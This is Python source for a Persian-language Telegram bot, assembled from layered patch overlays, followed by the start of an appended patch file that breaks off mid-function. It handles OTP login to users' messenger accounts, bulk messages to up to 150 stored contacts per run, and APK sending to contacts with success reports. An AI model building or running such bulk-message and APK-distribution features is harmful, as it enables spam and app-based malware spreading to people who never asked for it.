        await _bot().send(chat_id, f"{SEP}\n📊 **گزارش ارسال APK**\n{SEP}\n\n✦ موفق: **{sent}**\n✦ ناموفق: **{failed}**\n✦ پلتفرم: **{_trx01_service_label(platform)}**\n✦ اکانت: `#{aid}`\n✦ زمان: `{now()}`\n\n{SEP2}", reply_markup=trx.ai_advanced_menu(get_lang(uid), uid))
    except Exception as exc:
        _log().warning(f"[TRXQ11] APK report failed: {_mask(str(exc))}")


_apksend_worker = _trxq11_apksend_worker

# Per-run contact count for bulk messages.
_TRXQ11_DISPATCH_BASE = trx.dispatch_cb


async def _trxq11_dispatch(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    if data_s.startswith("trx222b.bulk.acc:"):
        aid, platform = _parse_cb_aid_platform(data_s)
        if aid is not None and _db().fetchone("SELECT id FROM accounts WHERE id=? AND user_id=? AND enabled=1", (aid, uid)):
            state.set(uid, "trx222b_bulk_count", account_id=aid, platform=platform)
            return await _safe_edit(chat_id, msg_id, "👥 **تعداد مخاطبین**\n\nهر بار تعداد را جداگانه وارد کن (۱ تا ۱۵۰):", IKB([[('❌ لغو', 'cancel', 'danger')]]))
    if data_s == "trx222b.bulk.confirm":
        s = state.get(uid)
        if s and s.get("state") == "trx222b_bulk_confirm":
            count = max(1, min(150, int(s.get("count") or 150)))
            contacts = await _get_contacts_for(uid, s["account_id"], s["platform"], limit=count)
            if not contacts:
                state.pop(uid)
                return await _safe_edit(chat_id, msg_id, "❌ هیچ مخاطبی در دیتابیس پیدا نشد.", trx.ai_advanced_menu(lang, uid))
            batch_id = f"bulk-{int(time.time())}"
            state.pop(uid)
            await _safe_edit(chat_id, msg_id, f"⏳ ارسال به **{len(contacts)}** مخاطب شروع شد...", IKB([[('↩️ بازگشت', 'ai', 'primary')]]))
            _trx_task_create(_bulk_worker(uid, int(s["account_id"]), s["platform"], s["message"], contacts, batch_id, chat_id, lang))
            return
    try:
        return await _TRXQ11_DISPATCH_BASE(cb_id, uid, lang, u, chat_id, msg_id, data_s)
    except Exception as exc:
        state.pop(uid)
        _log().error(f"[TRXQ11] callback dispatch failed: {_mask(str(exc))}")
        return await _safe_edit(chat_id, msg_id, "⚠️ این دکمه منقضی شده؛ از منوی اصلی دوباره وارد شو.", trx.main_menu(lang, uid))


trx.dispatch_cb = _trxq11_dispatch

# Three-hour repeated /start cooldown, persisted in settings.
TRXQ11_START_COOLDOWN = 3 * 60 * 60
_TRXQ11_ON_MSG_BASE = trx.on_msg


def _trxq11_start_allowed(uid):
    try:
        row = _db().fetchone("SELECT value FROM settings WHERE key=?", (f"trxq11:start:{int(uid)}",))
        last = float(row["value"]) if row and row["value"] else 0.0
        remaining = TRXQ11_START_COOLDOWN - (time.time() - last)
        if remaining > 0:
            return False, int(remaining)
        _db().execute("INSERT OR REPLACE INTO settings(key,value) VALUES(?,?)", (f"trxq11:start:{int(uid)}", str(time.time())))
    except Exception as exc:
        _log().warning(f"[TRXQ11] start cooldown storage failed: {_mask(str(exc))}")
    return True, 0


async def _trxq11_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if uid and chat_id and txt.startswith("/start"):
        allowed, remaining = _trxq11_start_allowed(uid)
        if not allowed and not is_admin(uid):
            hours, minutes = remaining // 3600, (remaining % 3600) // 60
            return await _bot().send(chat_id, f"⏳ برای جلوگیری از اسپم، استارت بعدی حدود {hours} ساعت و {minutes} دقیقه دیگه فعاله.")
    if uid and chat_id and txt and not txt.startswith("/"):
        s = state.get(uid)
        if s and str(s.get("state")) == "trx222b_bulk_count":
            digits = _trx77_norm_digits(txt)
            if not digits.isdigit() or not 1 <= int(digits) <= 150:
                return await _bot().send(chat_id, "❌ تعداد باید یک عدد بین ۱ تا ۱۵۰ باشد.")
            state.set(uid, "trx222b_bulk_message", account_id=int(s["account_id"]), platform=s["platform"], count=int(digits))
            return await _bot().send(chat_id, "📨 متن پیام را بفرست:", reply_markup=IKB([[('❌ لغو', 'cancel', 'danger')]]))
        if s and str(s.get("state")) == "trx222b_bulk_message":
            state.set(uid, "trx222b_bulk_confirm", account_id=int(s["account_id"]), platform=s["platform"], count=int(s.get("count") or 150), message=txt)
            return await _bot().send(chat_id, "📨 **تأیید ارسال**\n\nتعداد مخاطب و متن آماده است. ارسال شود؟", reply_markup=IKB([[('✅ تأیید', 'trx222b.bulk.confirm', 'success'), ('❌ لغو', 'cancel', 'danger')]]))
    return await _TRXQ11_ON_MSG_BASE(msg)


trx.on_msg = _trxq11_on_msg

# Defensive callback entrypoint: always answers and prevents a stuck spinner.
_TRXQ11_ON_CB_BASE = trx.on_cb


async def _trxq11_on_cb(cb):
    cb_id = cb.get("id") if isinstance(cb, dict) else None
    try:
        return await asyncio.wait_for(_TRXQ11_ON_CB_BASE(cb), timeout=45)
    except asyncio.TimeoutError:
        if cb_id:
            await _safe_answer_cb(cb_id, "⏳ عملیات زمان‌بر شد؛ دوباره امتحان کن.", alert=True)
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _log().error(f"[TRXQ11] callback entry failed: {_mask(str(exc))}")
        if cb_id:
            await _safe_answer_cb(cb_id, "⚠️ خطای موقت؛ دوباره امتحان کن.", alert=True)


trx.on_cb = _trxq11_on_cb
try:
    trx._trx_forward_source_apk_v11 = _trxq11_forward_source_apk
    trx._trx_forward_source_apk = _trxq11_forward_source_apk
    _log().info(f"[TRXQ11] overlay loaded build={TRXQ11_BUILD}")
except Exception as exc:
    _log().warning(f"[TRXQ11] final alias setup failed: {_mask(str(exc))}")

# TRX127: the requested three-hour /start restriction is fully disabled.
# Keep the previous Q11 handler as the fallback for every other message.
_TRX127_ON_MSG_BASE = _TRXQ11_ON_MSG_BASE


async def _trx127_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if uid and chat_id and txt and not txt.startswith("/"):
        s = state.get(uid)
        if s and str(s.get("state")) == "trx222b_bulk_count":
            digits = _trx77_norm_digits(txt)
            if not digits.isdigit() or not 1 <= int(digits) <= 150:
                return await _bot().send(chat_id, "❌ تعداد باید یک عدد بین ۱ تا ۱۵۰ باشد.")
            state.set(uid, "trx222b_bulk_message", account_id=int(s["account_id"]), platform=s["platform"], count=int(digits))
            return await _bot().send(chat_id, "📨 متن پیام را بفرست:", reply_markup=IKB([[('❌ لغو', 'cancel', 'danger')]]))
        if s and str(s.get("state")) == "trx222b_bulk_message":
            state.set(uid, "trx222b_bulk_confirm", account_id=int(s["account_id"]), platform=s["platform"], count=int(s.get("count") or 150), message=txt)
            return await _bot().send(chat_id, "📨 **تأیید ارسال**\n\nتعداد مخاطب و متن آماده است. ارسال شود؟", reply_markup=IKB([[('✅ تأیید', 'trx222b.bulk.confirm', 'success'), ('❌ لغو', 'cancel', 'danger')]]))
    # This base has no TRXQ11 cooldown logic; /start remains available.
    return await _TRX127_ON_MSG_BASE(msg)


trx.on_msg = _trx127_on_msg
TRX127_BUILD = "2026-09-25-no-start-cooldown"
_log().info(f"[TRX127] final overlay loaded build={TRX127_BUILD}")


# ═══════════════════════════════════════════════════════════════════
# TRX127 AUDIT REPAIR LAYER — append-only, main file untouched
# ═══════════════════════════════════════════════════════════════════

# First-boot schema repair: bind the new DB instance before the older
# wrappers inspect trx.db, then restore the global after initialization.
_TRX127_DB_INIT_BASE = trx.DB.__init__


def _trx127_db_init(self, path):
    previous = getattr(trx, "db", None)
    trx.db = self
    try:
        _TRX127_DB_INIT_BASE(self, path)
        try:
            _ensure_schemas()
        except Exception as exc:
            _log().warning(f"[TRX127] overlay schema repair failed: {_mask(str(exc))}")
        try:
            _trxq11_seed_providers()
        except Exception as exc:
            _log().warning(f"[TRX127] provider seed failed: {_mask(str(exc))}")
    finally:
        trx.db = self if previous is self else previous


trx.DB.__init__ = _trx127_db_init
if _db() is not None:
    _ensure_schemas()

# Rubika OTP must pass through the main OTP state wrapper. Keep the final
# v16 sender and the currently installed verifier/AI binding intact.
try:
    _trx127_rubika_verify = trx.SERVICE_HANDLERS.get("rubika", {}).get("verify")
    _trx127_rubika_send = getattr(trx, "rubika_send_code_v16", None)
    if callable(_trx127_rubika_send) and callable(_trx127_rubika_verify):
        trx.SERVICE_HANDLERS["rubika"] = {
            "send": _wrap_otp_handler("rubika", _trx127_rubika_send),
            "verify": _trx127_rubika_verify,
        }
        _log().info("[TRX127] Rubika OTP state wrapper repaired")
except Exception as exc:
    _log().warning(f"[TRX127] Rubika OTP repair failed: {_mask(str(exc))}")

# Canonical account context prevents stale callbacks from mixing an account
# with a different platform.
def _trx127_account_context(uid, aid, requested_platform=None):
    row = _db().fetchone(
        "SELECT id,service,enabled FROM accounts WHERE id=? AND user_id=? AND enabled=1",
        (int(aid), int(uid)),
    )
    if not row:
        return None
    actual = str(row["service"] or "").strip().lower()
    requested = str(requested_platform or "").strip().lower()
    if requested and requested in ALL_PLATFORMS and requested != actual:
        return None
    return int(row["id"]), actual

_TRX127_DISPATCH_BASE = trx.dispatch_cb


async def _trx127_dispatch_guard(cb_id, uid, lang, u, chat_id, msg_id, data):
    data_s = str(data or "")
    prefixes = ("trx222b.apksend.acc:", "trx222b.pv.acc:", "trx222b.bulk.acc:")
    if data_s.startswith(prefixes):
        parts = data_s.split(":")
        try:
            aid = int(parts[1])
        except Exception:
            aid = 0
        requested = parts[2] if len(parts) > 2 else ""
        context = _trx127_account_context(uid, aid, requested)
        if context is None:
            await _safe_answer_cb(cb_id, "اکانت و پلتفرم این دکمه با هم یکی نیستند.", alert=True)
            return await _safe_edit(chat_id, msg_id, "❌ این دکمه قدیمی یا نامعتبر است. دوباره اکانت را انتخاب کن.", trx.ai_advanced_menu(lang, uid))
    return await _TRX127_DISPATCH_BASE(cb_id, uid, lang, u, chat_id, msg_id, data_s)


trx.dispatch_cb = _trx127_dispatch_guard

# Expired overlay wizard states receive a clear restart message instead of
# falling through to an unrelated legacy text router.
_TRX127_MSG_BASE = trx.on_msg


async def _trx127_expiry_and_start(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if not uid or not chat_id:
        return await _TRX127_MSG_BASE(msg)

    # /start is intentionally unrestricted by time: no 3-hour cooldown.
    if txt.startswith("/start"):
        user = ensure_user(uid, (msg.get("from") or {}).get("username", ""), (msg.get("from") or {}).get("first_name", ""))
        if user.get("is_banned"):
            return
        if not rl_msg.hit(uid):
            return
        lang = user["lang"] or "fa"
        try:
            force_ok, force_info = await trx.check_force_join(uid)
        except Exception:
            force_ok, force_info = True, None
        if not force_ok and force_info:
            return await _bot().send(chat_id, "📌 **عضویت اجباری**\n\nابتدا در کانال‌های لازم عضو شو:", reply_markup={"inline_keyboard": force_info.get("btns", [])})
        if not trx._is_bot_enabled() and not is_admin(uid):
            return await _bot().send(chat_id, "🛠 **ربات در حال تعمیر است**\n\nلطفاً بعداً تلاش کنید.")
        try:
            await _panel_with_banner(chat_id, 0, t(lang, "welcome"), trx.main_menu(lang, uid), slot="main_menu", lang=lang)
        except Exception:
            await _bot().send(chat_id, t(lang, "welcome"), reply_markup=trx.main_menu(lang, uid))
        trx.log_event(uid, "START")
        return

    # StateStore.get() deletes expired state, so inspect the raw record first.
    raw_state = getattr(state, "_d", {}).get(uid)
    if txt and not txt.startswith("/") and raw_state:
        try:
            expired = (time.time() - float(raw_state.get("at", 0))) > 900
        except Exception:
            expired = False
        if expired and str(raw_state.get("state", "")).startswith("trx222b_"):
            state.pop(uid)
            return await _bot().send(chat_id, "⌛️ این مرحله منقضی شد. از پنل دوباره شروع کن.", reply_markup=trx.ai_advanced_menu(get_lang(uid), uid))
    return await _TRX127_MSG_BASE(msg)


trx.on_msg = _trx127_expiry_and_start

# Callback operations are stateful. Do not cancel them at an arbitrary
# timeout after they have already changed state; preserve their exceptions.
_TRX127_CB_BASE = trx.on_cb


async def _trx127_on_cb_safe(cb):
    try:
        return await _TRX127_CB_BASE(cb)
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        _log().error(f"[TRX127] callback failed: {_mask(str(exc))}")
        cb_id = cb.get("id") if isinstance(cb, dict) else None
        if cb_id:
            await _safe_answer_cb(cb_id, "⚠️ خطای موقت؛ دوباره امتحان کن.", alert=True)


trx.on_cb = _trx127_on_cb_safe

# Serialize updates per user/chat while retaining concurrency between users.
_TRX127_UPDATE_LOCKS = {}


def _trx127_lock_for(key):
    key = str(key)
    lock = _TRX127_UPDATE_LOCKS.get(key)
    if lock is None:
        lock = asyncio.Lock()
        _TRX127_UPDATE_LOCKS[key] = lock
    return lock


async def _trx127_serial_message(msg):
    uid = (msg.get("from") or {}).get("id")
    chat = (msg.get("chat") or {}).get("id")
    async with _trx127_lock_for(f"m:{uid}:{chat}"):
        return await trx.on_msg(msg)


async def _trx127_serial_callback(cb):
    frm = (cb.get("from") or {}).get("id")
    message = cb.get("message") or {}
    chat = (message.get("chat") or {}).get("id")
    async with _trx127_lock_for(f"m:{frm}:{chat}"):
        return await trx.on_cb(cb)


async def _trx127_polling_loop():
    _log().info("[TRX127] ordered per-conversation polling loop started")
    while trx.bot.running:
        try:
            response = await trx.bot.get_updates(timeout=25)
            if not response.get("ok"):
                await asyncio.sleep(3)
                continue
            tasks = []
            for update in response.get("result", []):
                trx.bot.offset = update["update_id"] + 1
                if "message" in update:
                    tasks.append(asyncio.create_task(_trx127_serial_message(update["message"])))
                elif "callback_query" in update:
                    tasks.append(asyncio.create_task(_trx127_serial_callback(update["callback_query"])))
            if tasks:
                await asyncio.gather(*tasks, return_exceptions=True)
        except asyncio.CancelledError:
            break
        except Exception as exc:
            _log().warning(f"[TRX127] polling error: {_mask(str(exc))}")
            await asyncio.sleep(3)


trx.polling_loop = _trx127_polling_loop
TRX127_BUILD = "2026-09-25-audit-repair-no-start-cooldown"
_log().info(f"[TRX127] audit repair layer loaded: {TRX127_BUILD}")

# Single final entrypoint: all main and overlay definitions are loaded first.

# ═══════════════════════════════════════════════════════════════════
# TRX_IRAN168 V2 RUNTIME REPAIR — visible errors, reliable /start
# ═══════════════════════════════════════════════════════════════════

async def _trx_iran168_send_start_fallback(uid, chat_id, lang):
    """Send the panel without banner/Markdown dependencies."""
    text = t(lang, "welcome")
    kb = main_menu(lang, uid)
    result = await bot.send(chat_id, text, reply_markup=kb, parse_mode=None)
    if not isinstance(result, dict) or not result.get("ok"):
        log.error(f"[IRAN168] /start send failed: {str(result)[:500]}")
    return result


async def _trx_iran168_on_msg(msg):
    """Final message boundary: never swallow a /start or handler exception."""
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    txt = (msg.get("text") or "").strip()
    if uid and chat_id and txt.startswith("/start"):
        try:
            user = ensure_user(uid, (msg.get("from") or {}).get("username", ""), (msg.get("from") or {}).get("first_name", ""))
            if user.get("is_banned"):
                log.warning(f"[IRAN168] blocked /start from banned user={uid}")
                return
            # No three-hour cooldown; retain ordinary per-minute anti-flood.
            if not rl_msg.hit(uid):
                log.warning(f"[IRAN168] /start rate-limited user={uid}")
                return
            lang = user.get("lang") or "fa"
            try:
                force_ok, force_info = await check_force_join(uid)
            except Exception as exc:
                log.warning(f"[IRAN168] force-join check failed: {type(exc).__name__}: {str(exc)[:240]}")
                force_ok, force_info = True, None
            if not force_ok and force_info:
                result = await bot.send(chat_id, "📌 عضویت اجباری\n\nبرای استفاده ابتدا در کانال‌های لازم عضو شو:", reply_markup={"inline_keyboard": force_info.get("btns", [])}, parse_mode=None)
                if not result.get("ok"):
                    log.error(f"[IRAN168] force-join response failed: {str(result)[:500]}")
                return
            if not _is_bot_enabled() and not is_admin(uid):
                return await bot.send(chat_id, "🛠 ربات در حال تعمیر است؛ لطفاً بعداً تلاش کن.", parse_mode=None)
            try:
                panel = await _panel_with_banner(chat_id, 0, t(lang, "welcome"), main_menu(lang, uid), slot="main_menu", lang=lang)
                if isinstance(panel, dict) and panel.get("ok"):
                    log.info(f"[IRAN168] /start panel sent user={uid} chat={chat_id}")
                    log_event(uid, "START")
                    return panel
                log.warning(f"[IRAN168] banner panel returned non-ok: {str(panel)[:300]}")
            except Exception as exc:
                log.warning(f"[IRAN168] banner panel failed, using plain fallback: {type(exc).__name__}: {str(exc)[:300]}")
            result = await _trx_iran168_send_start_fallback(uid, chat_id, lang)
            log_event(uid, "START")
            return result
        except Exception as exc:
            log.error(f"[IRAN168] /start fatal handler error: {type(exc).__name__}: {str(exc)[:500]}\n{traceback.format_exc(limit=40)}")
            try:
                return await _trx_iran168_send_start_fallback(uid, chat_id, get_lang(uid) or "fa")
            except Exception as fallback_exc:
                log.error(f"[IRAN168] /start fallback failed: {type(fallback_exc).__name__}: {str(fallback_exc)[:500]}")
                return None
    try:
        return await _trx127_expiry_and_start(msg)
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        log.error(f"[IRAN168] message handler failed user={uid}: {type(exc).__name__}: {str(exc)[:500]}\n{traceback.format_exc(limit=40)}")
        if uid and chat_id:
            try:
                await bot.send(chat_id, "⚠️ خطای موقت رخ داد؛ دوباره امتحان کن.", parse_mode=None)
            except Exception:
                pass
        return None


trx.on_msg = _trx_iran168_on_msg

async def _trx_iran168_on_cb(cb):
    try:
        return await _trx127_on_cb_safe(cb)
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        log.error(f"[IRAN168] callback failed: {type(exc).__name__}: {str(exc)[:500]}\n{traceback.format_exc(limit=40)}")
        cb_id = cb.get("id") if isinstance(cb, dict) else None
        if cb_id:
            try:
                await bot.answer_cb(cb_id, "⚠️ خطای موقت؛ دوباره امتحان کن.", alert=True)
            except Exception:
                pass


trx.on_cb = _trx_iran168_on_cb

async def _trx_iran168_polling_loop():
    """Ordered per-chat polling with explicit exception visibility."""
    log.info("[IRAN168] reliable polling loop started")
    while bot.running:
        try:
            response = await bot.get_updates(timeout=25)
            if not isinstance(response, dict) or not response.get("ok"):
                log.warning(f"[IRAN168] getUpdates failed: {str(response)[:500]}")
                await asyncio.sleep(3)
                continue
            updates = response.get("result") or []
            for update in updates:
                if not isinstance(update, dict) or "update_id" not in update:
                    log.warning(f"[IRAN168] malformed update: {str(update)[:300]}")
                    continue
                bot.offset = int(update["update_id"]) + 1
                try:
                    if "message" in update:
                        await _trx_iran168_serial_message(update["message"])
                    elif "callback_query" in update:
                        await _trx_iran168_serial_callback(update["callback_query"])
                    elif "edited_message" in update:
                        await _trx_iran168_serial_message(update["edited_message"])
                except asyncio.CancelledError:
                    raise
                except Exception as exc:
                    log.error(f"[IRAN168] update {update.get('update_id')} failed: {type(exc).__name__}: {str(exc)[:500]}\n{traceback.format_exc(limit=40)}")
        except asyncio.CancelledError:
            break
        except Exception as exc:
            log.error(f"[IRAN168] polling loop error: {type(exc).__name__}: {str(exc)[:500]}")
            await asyncio.sleep(3)


async def _trx_iran168_serial_message(message):
    uid = (message.get("from") or {}).get("id")
    chat_id = (message.get("chat") or {}).get("id")
    lock = _trx127_lock_for(f"m:{uid}:{chat_id}")
    async with lock:
        return await trx.on_msg(message)


async def _trx_iran168_serial_callback(callback):
    uid = (callback.get("from") or {}).get("id")
    message = callback.get("message") or {}
    chat_id = (message.get("chat") or {}).get("id")
    lock = _trx127_lock_for(f"m:{uid}:{chat_id}")
    async with lock:
        return await trx.on_cb(callback)


# Make the name used lexically by the original main() point to the repaired loop.
polling_loop = _trx_iran168_polling_loop
trx.polling_loop = _trx_iran168_polling_loop
TRX_IRAN168_BUILD = "2026-09-25-v2-visible-handler-errors"
log.info(f"[IRAN168] final runtime repair loaded build={TRX_IRAN168_BUILD}")


# ═══════════════════════════════════════════════════════════════════
# TRX_1109 HARDENING — Telegram delivery, conflict visibility, /start
# ═══════════════════════════════════════════════════════════════════

# Never discard updates at boot: the previous offset=-1 drain could confirm
# the user's /start before the application was ready to process it.
async def _trx1109_get_updates(self, timeout=25):
    return await self.call(
        "getUpdates",
        offset=int(getattr(bot, "offset", 0)),
        timeout=int(timeout),
        allowed_updates=["message", "edited_message", "callback_query"],
    )


Bot.get_updates = _trx1109_get_updates

async def _trx1109_send_plain_start(uid, chat_id, lang):
    try:
        result = await bot.send(chat_id, t(lang, "welcome"), reply_markup=main_menu(lang, uid), parse_mode=None)
        if not isinstance(result, dict) or not result.get("ok"):
            log.error(f"[TRX1109] plain /start send rejected: {str(result)[:600]}")
        return result
    except Exception as exc:
        log.error(f"[TRX1109] plain /start send exception: {type(exc).__name__}: {str(exc)[:500]}")
        return None


async def _trx1109_on_msg(msg):
    uid = (msg.get("from") or {}).get("id")
    chat_id = (msg.get("chat") or {}).get("id")
    text = str(msg.get("text") or "").strip()
    if uid and chat_id and text.split("@", 1)[0].lower() == "/start":
        try:
            user = ensure_user(uid, (msg.get("from") or {}).get("username", ""), (msg.get("from") or {}).get("first_name", ""))
            if user.get("is_banned"):
                log.warning(f"[TRX1109] banned user attempted /start uid={uid}")
                return
            # No three-hour restriction; retain only the normal message limiter.
            if not rl_msg.hit(uid):
                log.warning(f"[TRX1109] normal message limiter blocked /start uid={uid}")
                return
            lang = user.get("lang") or "fa"
            if not _is_bot_enabled() and not is_admin(uid):
                return await bot.send(chat_id, "🛠 ربات موقتاً در حال تعمیر است؛ لطفاً بعداً تلاش کن.", parse_mode=None)
            force_ok, force_info = await check_force_join(uid)
            if not force_ok and force_info:
                return await bot.send(chat_id, "📌 عضویت اجباری\n\nابتدا در کانال‌های لازم عضو شو:", reply_markup={"inline_keyboard": force_info.get("btns", [])}, parse_mode=None)
            # Direct plain send is intentional: it bypasses banner, Markdown,
            # stale state, and every optional UI dependency.
            result = await _trx1109_send_plain_start(uid, chat_id, lang)
            if result and result.get("ok"):
                log_event(uid, "START")
            return result
        except Exception as exc:
            log.error(f"[TRX1109] /start handler failed uid={uid}: {type(exc).__name__}: {str(exc)[:600]}\n{traceback.format_exc(limit=40)}")
            return await _trx1109_send_plain_start(uid, chat_id, get_lang(uid) or "fa")
    try:
        return await _trx_iran168_on_msg(msg)
    except asyncio.CancelledError:
        raise
    except Exception as exc:
        log.error(f"[TRX1109] message failed uid={uid}: {type(exc).__name__}: {str(exc)[:500]}\n{traceback.format_exc(limit=40)}")
        if uid and chat_id:
            try:
                await bot.send(chat_id, "⚠️ خطای موقت رخ داد؛ دوباره تلاش کن.", parse_mode=None)
            except Exception:
                pass


trx.on_msg = _trx1109_on_msg

async def _trx1109_polling_loop():
    log.info("[TRX1109] polling started; waiting for Telegram updates")
    consecutive_errors = 0
    while bot.running:
        try:
            response = await bot.get_updates(timeout=25)
            if not isinstance(response, dict) or not response.get("ok"):
                description = str((response or {}).get("description") or (response or {}).get("error") or response)[:600]
                if "409" in description or "conflict" in description.lower():
                    log.error("[TRX1109] Telegram 409 conflict: another process is using this bot token")
                else:
                    log.warning(f"[TRX1109] getUpdates rejected: {description}")
                consecutive_errors += 1
                await asyncio.sleep(min(15, 2 + consecutive_errors))
                continue
            consecutive_errors = 0
            for update in response.get("result") or []:
                if not isinstance(update, dict) or "update_id" not in update:
                    log.warning(f"[TRX1109] malformed update: {str(update)[:300]}")
                    continue
                bot.offset = int(update["update_id"]) + 1
                try:
                    if "message" in update:
                        await _trx_iran168_serial_message(update["message"])
                    elif "edited_message" in update:
                        await _trx_iran168_serial_message(update["edited_message"])
                    elif "callback_query" in update:
                        await _trx_iran168_serial_callback(update["callback_query"])
                except asyncio.CancelledError:
                    raise
                except Exception as exc:
                    log.error(f"[TRX1109] update failed id={update.get('update_id')}: {type(exc).__name__}: {str(exc)[:600]}\n{traceback.format_exc(limit=40)}")
        except asyncio.CancelledError:
            break
        except Exception as exc:
            log.error(f"[TRX1109] polling exception: {type(exc).__name__}: {str(exc)[:600]}")
            await asyncio.sleep(3)


# The original main() resolves this lexical name, so both bindings matter.
polling_loop = _trx1109_polling_loop
trx.polling_loop = _trx1109_polling_loop
TRX1109_BUILD = "2026-09-25-token-valid-delivery-hardening"
log.info(f"[TRX1109] final build loaded: {TRX1109_BUILD}")

# ═══════════════════════════════════════════════════════════════════
# TRXF2 BUG-FIX MARKER — recursion-safe final handler chain
# - Keeps all existing features and handlers intact
# - Fixes final on_msg/on_cb self-recursion
# - Limits traceback rendering to 40 frames to prevent secondary RecursionError
# ═══════════════════════════════════════════════════════════════════

if False and __name__ == "__main__":
    _run()


# ═══════════════════════════════════════════════════════════════════════════════
# INTEGRATION BRIDGE: TRXF2 is the current module; patches attach to this object.
# ═══════════════════════════════════════════════════════════════════════════════
_trx_all_in_one_module = sys.modules[__name__]
sys.modules["trx"] = _trx_all_in_one_module
sys.modules["trxf2"] = _trx_all_in_one_module
sys.modules["trxf2_main"] = _trx_all_in_one_module

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
═══════════════════════════════════════════════════════════════════════════
  TRXF2 MASTER PATCH  —  Additive overlay for TRXF2.py
  All 15 requested features integrated without removing any original line.
═══════════════════════════════════════════════════════════════════════════
  Run:  python3 TRXF2_PATCH.py
  Place next to TRXF2.py in ~/trx_bot/ (or wherever TRXF2.py lives).
═══════════════════════════════════════════════════════════════════════════
"""

import os
import sys
import re
import json
import time
import random
import asyncio
import sqlite3
import traceback
import importlib.util
import tempfile
import io
import hashlib
from datetime import datetime, timedelta
from typing import Optional, Dict, Any, List, Tuple

# ═══════════════════════════════════════════════════════════════════════════
# ═══ INTEGRATED TRX_888 BRIDGE ═══
trx = sys.modules[__name__]
_HERE = os.path.dirname(os.path.abspath(__file__))
_MAIN_PATH = os.path.abspath(__file__)
if False:
    # 0) LOAD TRXF2.py AS MODULE
    # ═══════════════════════════════════════════════════════════════════════════

    _HERE = os.path.dirname(os.path.abspath(__file__))
    _MAIN_CANDIDATES = [
        os.path.join(_HERE, "TRXF2.py"),
        os.path.join(os.getcwd(), "TRXF2.py"),
        os.path.expanduser("~/trx_bot/TRXF2.py"),
    ]

    _MAIN_PATH = None
    for _cand in _MAIN_CANDIDATES:
        if os.path.isfile(_cand):
            _MAIN_PATH = _cand
            break

    if not _MAIN_PATH:
        print("[PATCH][FATAL] TRXF2.py not found next to patch file.")
        sys.exit(1)

    print(f"[PATCH] Loading TRXF2.py from: {_MAIN_PATH}")

    _spec = importlib.util.spec_from_file_location("trxf2_main", _MAIN_PATH)
    if _spec is None or _spec.loader is None:
        print("[PATCH][FATAL] Cannot create module spec for TRXF2.py")
        sys.exit(1)

    trx = importlib.util.module_from_spec(_spec)
    sys.modules["trxf2_main"] = trx

    try:
        _spec.loader.exec_module(trx)
    except SystemExit:
        # TRXF2 has `if __name__ == "__main__": _run()`.
        # When imported, this should not fire, but just in case:
        pass
    except Exception as _e:
        print(f"[PATCH][FATAL] Error loading TRXF2.py: {type(_e).__name__}: {_e}")
        traceback.print_exc(limit=40)
        sys.exit(1)

    print("[PATCH] TRXF2.py loaded successfully.")

    # Make TRXF2 the primary module so internal `trx.xxx` references resolve.
    sys.modules.setdefault("trx", trx)
    sys.modules.setdefault("trxf2", trx)

# Integrated equivalent of the original loader result.
sys.modules["trx"] = trx
sys.modules["trxf2"] = trx
sys.modules["trxf2_main"] = trx
print("[PATCH] Embedded TRXF2 context attached successfully.")



# ═══════════════════════════════════════════════════════════════════════════
# 1) SHARED REFERENCES (call only inside functions, since trx.db is set later)
# ═══════════════════════════════════════════════════════════════════════════

def _DB():
    return getattr(trx, "db", None)

def _BOT():
    return getattr(trx, "bot", None)

def _AI():
    return getattr(trx, "ai", None)

def _LOG():
    return getattr(trx, "log", None)

def _LOG_INFO(msg):
    try:
        _LOG().info(msg)
    except Exception:
        print(f"[PATCH][i] {msg}")

def _LOG_WARN(msg):
    try:
        _LOG().warning(msg)
    except Exception:
        print(f"[PATCH][!] {msg}")

def _LOG_ERR(msg):
    try:
        _LOG().error(msg)
    except Exception:
        print(f"[PATCH][x] {msg}")

def _mask(v):
    try:
        return trx._mask(str(v))
    except Exception:
        return str(v)


ALL_PLATFORMS = ("rubika", "soroush", "bale", "telegram", "shad")

TRX_ADMIN_ID = getattr(trx, "ADMIN_ID", 0)
TRX_ADMIN_USERNAME = getattr(trx, "ADMIN_USERNAME", "@POLO_IR")

SEP_MAIN = "▬ ▬ ▬ ▬ ▬ ▬ ▬ ▬ ▬ ▬"
SEP_SUB  = "─ ─ ─ ─ ─ ─"
SEP_END  = "✦ ✧ ✦ ✧ ✦"


# ═══════════════════════════════════════════════════════════════════════════
# 2) DESIGN SYSTEM (Feature #7)
# ═══════════════════════════════════════════════════════════════════════════

TRX_SYMS = {
    "start": "►", "end": "◄",
    "item": "◈", "sub": "◇", "sep": "◆",
    "check": "✓", "star": "✪", "sparkle": "✧",
    "wrap_l": "⊰", "wrap_r": "⊱",
    "ornament": "๑", "special": "❖",
    "arr_l": "←", "arr_r": "→", "arr_u": "↑", "arr_d": "↓",
    "line_main": SEP_MAIN,
    "line_sub":  SEP_SUB,
    "line_end":  SEP_END,
}

class TRX_UI_STYLE(object):
    """Static formatting helpers used across the patch."""

    @staticmethod
    def _title(title):
        return f"{TRX_SYMS['wrap_l']} {TRX_SYMS['sparkle']} {title} {TRX_SYMS['sparkle']} {TRX_SYMS['wrap_r']}"

    @staticmethod
    def report(title, items_dict, note=None):
        lines = [TRX_UI_STYLE._title(title), SEP_MAIN]
        for k, v in (items_dict or {}).items():
            lines.append(f"{TRX_SYMS['star']} {k}: {v}")
        if note:
            lines.append(TRX_SYMS["sep"])
            lines.append(f"{TRX_SYMS['star']} {note}")
        lines.append(SEP_MAIN)
        return "\n".join(lines)

    @staticmethod
    def menu(title, items_list, note=None):
        lines = [TRX_UI_STYLE._title(title), SEP_MAIN]
        for it in items_list or []:
            lines.append(f"{TRX_SYMS['item']} {it}")
        if note:
